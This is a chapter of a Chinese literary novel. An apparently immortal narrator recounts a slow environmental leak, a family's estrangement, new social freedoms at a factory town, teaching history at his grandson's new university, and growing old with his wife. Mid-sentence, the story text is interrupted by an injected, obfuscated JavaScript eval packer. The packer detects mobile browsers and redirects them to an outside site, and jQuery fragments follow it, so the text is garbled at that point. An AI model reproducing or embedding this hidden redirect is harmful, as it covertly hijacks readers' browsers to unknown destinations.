我回神打量起自己和古秀梅的老房子。墙壁昏黄，原本逼仄拥挤的客厅，在今天显得格外宽敞。这间比我还要年老的木头房子，从最开始作为我、王小小、老庄的宿舍，后来成了我和古秀梅的婚房，迎来有饭的降生，孙子们陆续被送进这里，又随着年龄增长，陆续离开，留下龙九、龙八和庄嫂回来，许绣蓝搬进来，在古秀梅住院的期间，我又送走了无法适应红气球泄露后的空气的龙八和庄嫂，许绣蓝被龙五接走。这所房子，就像是一所沉默的驿站，所有人来来去去，只有我一直都在这里。无论对于安化厂，还是这个世界，我的角色从来如此。
红气球的泄露是缓慢而漫长的，整个过程持续了三十年，也因为其仿佛没有尽头的缓慢和漫长，人们的恐惧被慢慢消磨，从最开始的害怕、逃离，到后来，所剩下的人们几乎完全无视和忽略了这个日渐消瘦的庞然大物。哪怕是视政绩高于人命和良知的庄立春，也对其失去了耐心，他经过专业人士的推算，明确了在自己就任期间，等不到红气球覆灭的时刻后，便全然放手了此事，不再与政府部门因红气球而多做交涉。
何曼珠却考入了环保局做资料员，她成了市里唯一最关心红气球的人。
红气球被制作出来时，龙八还没有出生。在他的记忆里，红气球和太阳、月亮、星星一样，是天然就存在的，是造物主的创造。自然他也不知道，红气球是人类为了暂时收集排放的污染气体而制造的，在他之后出生的所有孩子们都不知道，他们被迫享受着红气球之外的好空气。大人们不知出于何种心理，都不约而同地保持缄默。直到红气球再也无法承受，而曾经的大人们开始陆续衰老，老去的身体成了他们的免死金牌，他们否认自己的作为，也拒绝承担应付的责任，他们言辞凿凿、信誓旦旦，描述自己曾经生活的艰辛和不易，企图借此来弱化自己的原罪。
这是人类的惯用伎俩。
庄嫂病入膏肓时，我几次受托去请，庄立春仍是不愿来看她一眼。他总是大把大把地给钱，请最好的医生，用最好的药，却无论如何不愿露面。庄念秋从羊城赶回来，她与年轻时的庄嫂几乎一模一样，只有身形胖瘦的差别。
中年仍旧独身的庄念秋，耐心地照料着庄嫂。庄嫂在昏迷中呢喃道：
「小秋啊，你哥哥怎么会变成这样呢？小时候多懂事的孩子啊，怎么会……」
自庄立春幼年时，老庄和庄嫂便为了赚钱起早贪黑。从记事起，庄立春每次清晨醒来，家中便只有他自己。几乎所有小学生的作文里，都有自己生病父母带其去医院的情节，但庄立春没有，他发高烧时，老庄为了省钱，冬天将他泡在冰水里，那时他四岁，他感到自己真实地死掉了。然而在庄念秋没出生之前，庄立春并没怨过父母，但同样是发烧，他们将他锁在家里，连夜带妹妹去了医院。直到第二天下午才回来，而他就一直被锁在家里，没有饭也没有水。
在庄立春的成长记忆里，老庄和庄嫂既不严厉、也不温情，他们仿佛是生活在同一屋檐下的邻居，彼此之间少有的谈话，总是透露着尴尬和生分。但他旁观着庄念秋和父亲母亲的相处，却像是另一个世界的剧情，父亲老庄会时常抱着她喊乖乖，母亲也总为她添置漂亮的新裙子。而年幼的庄立春，却只能默默坐在一旁，埋头写作业。
久而久之，同学们也看到了庄立春和他妹妹的区别，「捡来的」流言开始在学校里传开。
「你们偏心，只对妹妹好。」
「臭小子，家里缺你吃还是少你穿了？妹妹身体弱，爸爸妈妈多照顾她不是应该的嘛，况且你还是哥哥。」
「都是借口，都是借口！你根本就是不想管我。」
「再大喊大叫，打断你的腿信不信！」
「消消气，都消消气，小春啊，爸爸妈妈怎么会不管你呢，在爸爸妈妈眼里，你和妹妹都是一样的。」
「撒谎，根本就不一样，我不会再相信你们了，大骗子，你们都是大骗子。」十四岁的庄立春边哭边喊。
愤懑的老庄抄起一把凳子，便砸向了儿子的腿。
「原本，立春在马城是已经站稳了脚跟的，庄伯伯过世后，庄婶婶给他的原学校写去一封书信，让他回来带孝出殡，学校转寄到他的工作单位，然后他的妻子和岳父、包括所有同学同事，就都知道了这个他一直费尽心机隐藏的家世秘密。或许在庄婶婶和你我看来，这秘密并不算什么，毕竟，并非人人都有好出身，而且就算出身差那又如何。但对于立春来说，颜面尽失，与杀了他无异。而且那些生来就在马城的人，是不会允许他这个例外存在的。有了这个家世，他在马城就像是原始时期脸上烙有印记的低等奴隶。那个城市我去过，等级制度之严格，令人绝望。」
我听着何曼珠的讲述，这一切与我的记录中的内容都分毫不差。但我却无论如何都无法将其与朴实的老庄和庄嫂联系在一起。在我认识他们的时候，两个人就像老牛一样，为了远方儿子的好前程，不顾身体地拼命工作。而我也深知人的复杂性，并没有再继续劝说庄立春去看庄嫂。
设身处地地想，如果是我，我并不希望有人罔顾事实地劝我善良。谅解别人固然伟大，但选择不谅解，也是他基本的权利，即使他并非一个传统意义上的好人。
庄立春贪婪、自私，甚至滥杀过人性命，但我并不具备审判和引渡他的资格，我也不是什么绝对的好人。反正已经写到现在了，我也懒得继续伪装，我从不相信也从没见过这世上有绝对光明磊落的人，只是有些人的恶念付诸了行动，有些却因为各种主观的、客观的原因隐藏起来。我就不止一次动过诅咒他人的念头，但囿于我是个胆小如鼠的怂货，刀，厨房里都有，但勇气和胆魄并非人人都有，我就没有。发情的时候，已经是各种意义上最硬气的我了，其他所有时刻，我都和绝大多数男人一样，软得像条烂肉。
坦诚地讲，我非常清楚自己这辈子最大的成就，就是和古秀梅结婚，她已经是我所能征服的最高山峰。这段言论必然会为我招来非议，但我必须诚实地陈述自己的一切思想。再次强调，这并不是一本虚构小说，这是客观的历史。
古秀梅的肌肉恢复得很快，不久，她就可以正常对话了。我把自己刚才的言论与她分享，她吧唧给了我一巴掌。
「林复生，我认可你的诚实，但我非常生气。」
太好了，古秀梅说她认可我。
思想开放的新政策，对安化厂的冲击是巨大的。
对于这突然得来的自由选择，人们先是诚惶诚恐，害怕是政府的某种排除异己的试探，历经确认后又纷纷手足无措，一群习惯了被禁令勒住脖子的动物，突然松绑了绳索，反倒陷入了巨大的不安当中。
没有开放之前，每个人的生活都是有限且相对清晰的。比如何曼珠，她生在工薪阶级的纺织厂，接受十二年义务教育，按部就班地读大学，分配工作来到安化厂。她有理想，但这理想是在规划之内的。就仿佛人人都是一节火车头，手握着自己的方向盘，脚下的轨道看似四通八达，却都是既定好的。而如今，每个人手里的方向盘被拿走了，他们不再是一列列火车头，而成为了一个个确切的人。曾经摆在他们面前的被预设好的轨道，也都全盘被拆除。
自由，在他们看来更像是被流放。
一群习惯了在动物园里朝九晚五、定时吃饭、定点排泄的动物，被放归草原。面对浩瀚无际的天地，他们没有预想当中的喜悦，反而陷入了巨大的迷茫和不安。在此之前，他们从不需要思考自己活着的方式，也从没想过自己究竟喜欢什么、热爱什么，自己又该如何度过这有限且荒诞的人生。而如今他们却不得不、也必须要开始考虑这令人头疼的问题。值得一提的是，他们曾经接受过的规训类型的教育，并不足以支撑他们进行此时此刻的思考。于是迷茫之后他们开始焦虑。而焦虑的本质就是因为，他们的能力与思考并不匹配。
教育和学习的意义在此刻彰显出来。
从前限制区域开放的图书馆，对市民全面打开。电视台的节目也恢复了战争以前的多样性，剧场里也不再尽是些正确的、刻板的芭蕾舞剧。那些曾经被豢养在达官贵人地下室里的、或是自我隐藏起来的艺术家们分分来到阳光下。朋克、茶艺、爵士、拉丁、素描、贝斯、唢呐、相声、评书、钢管舞、杂技、魔术、昆曲、象棋、棒球、花样滑冰、跳伞……死气沉沉的大地焕发生机，因为流感、不夜症、懒惰症、房屋摧毁和空气破坏，而灰暗的数十年的安化厂，一夜之间五彩缤纷了起来。从前除了厂里生产出的纸扎用品和红巷子的铁皮房子是彩色的以外，其他的一切都是水泥灰的，包括人们的眼睛和嘴唇。
各类精神文化场所落地而生。张海燕的二女儿刘爱华借助着家族里的歌唱天赋，在安化厂的闹市区里，开了本市的第一家艺术培训机构，紧接着玫瑰也在其隔壁办起了交谊舞厅，生意甚是红火，后来管红军甚至辞掉了在厂区的副厂长职位，两人将舞厅越办越大，做成了连锁规模，这与玫瑰在红巷子时期积累的深厚的人脉密不可分。思想自由之后，反而人们对于合法的性的需求迅速下跌，精神消费成为人们标榜自己高尚人格的新潮流，而原始的欲望被隐藏起来，会所、舞厅，成为偷情和灰色产业的集聚地，曾经明码标价、五险一金的女孩们，从劳动法册被迫迁移进刑法里。而合法的红巷子却急速衰败，没出几个月，女人们便都纷纷搬离那里。曾经乒乒乓乓的铁房子，很快都锈迹斑斑，后来成为了小孩子们探险的秘密乐园。
出走多年的龙四也在这时回来了。
他衣衫破烂，头发膨乱得直达脚跟，胡子也浓密得几乎将整个人都掩盖起来。当他背着一个破布麻袋出现在家门口时，我完全以为是个上门讨饭的陌生人。直到他用浑厚低沉的嗓音喊我爷爷，我才反应过来，他就是幼年时总爱拿着木棍到处敲敲打打的、我的第四个孙儿。
热汤饭端上桌时，他已经用剪刀将自己的长头发和长胡须都修理整齐，露出白白净净的脸庞。他面目温润如玉，眉眼细腻，丝毫没有我们家族任何人的影子，倒更像是已故的吕文生。这令我当下不禁心头一紧，害怕起来。后来我又意识到时代已经不同了，这才暗暗放下心来。我劝他赶紧趁热吃饭。他告诉我自己远行在外，误打误撞成了一个淘金者，这次回来，是要用淘来的金币开办一所大学。
这个大胆的设想，令我非常佩服。我拥有非常清晰的自我认知，知道自己给他提供不了任何有效的帮助，自然也就没有反对或者提出建议的资格。正当我识趣地保持沉默时，龙四却向我发出邀请。他希望我能担任学校历史系的教授，他说自己从小便深受我的那些绮丽诡谲的历史故事的影响，并以我为目标和榜样。
我拍着他的肩膀连连称赞他有眼光，并非常开心地接受了这份邀约。
在政府的支持下，大学很快就获批了地皮，在金币的加持下，设计施工落成招生在短短三年内，一气呵成。我拄着拐杖，摇摇晃晃地走进久违的、崭新的课堂。讲台底下坐着的几乎是与几百年、几千年前如出一辙的年轻面孔，他们的眼神里有着相同的清澈和单纯，也有着不尽相同的迷茫和焦虑。每一个时代的人都有其独特性，而每一个个体又都有其纠缠不清的相似性。我打开停滞了几十年的历史教材，他的编写者陆光敏先生早已在本书开篇的那场流感中，因恶性感染而抱憾去世。
陆光敏先生作为一个普普通通的人类，他的一生都在为历史的编写和记录而穷尽心血。他的清苦和专一在时代的选择面前，曾短暂地沦为一时的原罪，而并不是所有人都可以等到平凡昭雪的那一天。他临死在病床上听到的最后一个消息，是关于自己所出版的所有书籍被尽数烧毁，而那时的他已经虚弱得无法发出沉痛的悲鸣。
他呱呱坠地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422500|184777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后一生从未流过眼泪，而在得知自己的心血付之一炬时，他将脸瞥向了阴影处。
而无论在哪个阶级当中，总是不缺乏有良心的人。严格的焚烧令之下，陆光敏先生的书籍仍然被隐秘地保留了下来。此时此刻它就握在我的手中，也握在了讲台之下一百六十七位年轻人的手中。
翻开书本的第一页，便是他对这群陌生青年人的衷心寄语。
「我年轻的朋友们。虽然素未谋面，但我们因这本书籍而相识。我将尽力避免自己去讲一些晦涩的、高高在上的文字，因为历史的本意从来不是说教。我在年轻时因为对自己外貌的卑微是极其不喜欢照镜子的，于是乎我对自己的所有认知和觉察都来自于旁人的评判，这令我非常痛苦。我变得谨小慎微，变得卑躬屈膝，变得不由自主的地去讨好，直到某一天我走在阳光下的街道，在一家服装店的橱窗镜子里，意外瞥见了自己，他是如此的怯懦、拘束陌生。我才发现，我似乎从未真真正正的认识过我自己。而历史就是这一面橱窗的镜子，它让我们客观看到，在这浩瀚时代之下，如此渺小的却又如此真实、有力的自己，虽形如蝼蚁，却可撼天地。在我们的生活当中，绝大多数人都是迷茫的，哪怕是那些看起来生活得非常确切的人。如果你去仔细观察，你会发现他人生的许多决定都并非来源于他本心。事实上绝大多数人直到死亡，都从来没有真正看见过自己的本心。发现并且认识自己，这并非一件唾手可得的简单事。这需要机缘，也需要勇气。在这个浑浊的、以随波逐流为安全的世界里，保持时刻的清醒和独立是需要极强的意志力和信念的。阅读历史可以让你找到自己的本心，而在历史当中源源不断汲取的力量，可以让你足以坚持自己的本心。但是我还想说的是，历史不是唯心，恰恰相反，它是绝对唯物的。因为历史它从来都不是虚构，也不是讲故事，而是客观的记录。尊重并且了解历史的人，一定不会是一个虚无主义者，也一定不会是一个天花乱坠的白日梦想家。我年轻的朋友们，当你找到本心之后，请务必不要成为一个只逞口舌之快的空谈分子，要脚踏实地的做实事，哪怕只是把你的思想写下来。历史不会记录那些虚无缥缈的念头，但历史会尊重每一个人的思想。而且历史是极其富有包容性的，它本身是不带有任何褒贬评价的，这也就意味着你可以按你所想，随心所欲的思考和生活，秋收冬藏、厚积薄发也好，借势而为、运筹帷幄也好，放马南山、归隐田园也好，快意恩仇、恣意放纵也好，只要遵从你的本心都好，都好。希望我的话语并没有过于啰嗦，也预祝你能在本书中收获一点启发。」
人会身死，但思想永存。
与此同时，疗养院的草坪上，姜飞鸿和龙九整整齐齐地并排躺在太阳底下，龙九依然穿着干净的粉红衬衫，他看起来已经是个稳重的中年人了，近旁的姜飞鸿惬意地将双臂交叉枕在脑袋底下，他看起来不同往日的活力，显得很是安静。直到太阳缓缓落下，看护员小芳来喊两人吃晚饭，人们才发现，两人已经停止呼吸有些时候了。
而在遥远的山脉西侧，山茶的丈夫另觅新欢，她得以恢复自由之身，在许绣蓝的见证下，她和龙五用简单的橄榄枝条做信物，举行了婚礼。
下课铃响起，年轻的青年们如同顽皮的小猴子般，叽叽喳喳地收拾了书本，陆续从教室散去。我慢悠悠地将保温杯和教案收进提包里，起身往外走，却看到头发灰白的古秀梅正站在门口，来接我放学。
在病床上躺了许多年的古秀梅，其间所经历的时光似乎从没在她身上流转过。她看起来比我年轻十余岁的模样，但我却像是她的孩子。
「古同志，谢谢你来接我。」
「上次咱们俩的故事还没讲完，溜达溜达去。」
「听起来像是咱们之间有账还没算完。」
古秀梅被我逗笑了，「不然打一架试试？」
「年轻时，我就只有挨打的份儿，如今你矫健依旧，我四肢散装，胜负已然明显了。」
「小林同志，你倒是一如既往，服软认怂，从来都是第一名。」
春末夏初的长道旁，新种的水杉抽出新芽，抬眼望去，蔚蓝的天空里镶嵌着翠绿色的星星。我握起古秀梅松弛柔软的手，第一次感到自己正在走向人类必经的衰老。从前春是春，秋是秋，孩童是希望，前途是光明，如今生机勃勃的万物复苏，在我眼中却也有了迟暮的悲凉。
所以，这就是人类历经千万年，苦苦追求长生不老的缘由吗？纵使在过往我已经历过无数次自己躯体的病故与老去，我曾在尼罗河的倒影里、也曾在加勒古堡的石碑旁，目睹自己的皮肤松弛鬓角雪白、脊背佝偻得几乎像只慢吞吞的老乌龟，那是我□□的老去。但我的灵魂永远年轻。
时常地，我也会有长生不死的疲倦，身旁的人来来往往，我站在其中，他们有些是我的父亲母亲，有些是我的青梅挚友，有些是我尊敬的老师，有些是我最疼爱的学生，但我知晓他们前世今生的所有，却不被允许向他们倾吐半分我心中的愤懑与扭曲。我是一本书，一本设计出来用以记录历史的书，但神明从没问过我，我是否愿意成为或者作为这样一本书而活着。曾几何时，我非常羡慕花草树木，羡慕他们不必为柴米油盐而出卖□□和灵魂，人人追求的风和日丽雨雪冬春，它们降生便可获得，可后来我与崂山的一棵千年银杏谈天，它反倒羡慕人类有手脚四肢，千年前，它还是一颗种子的时候，被一阵风送来崂山之西落地扎根，五百年风吹、五百年日晒、五百年雨打，它日日夜夜听见山脊之东那浩瀚大海的呼唤，却只能听，而死生不能见。
「秀梅，我感觉自己好像真的老了。」
「那你也是我的小林。」
「我们的故事不告诉他们了，好不好？我想这些只是咱们俩的秘密，我想你爱我只有我知道，旁人都不晓得。」
「你的心思总是像个小孩子。」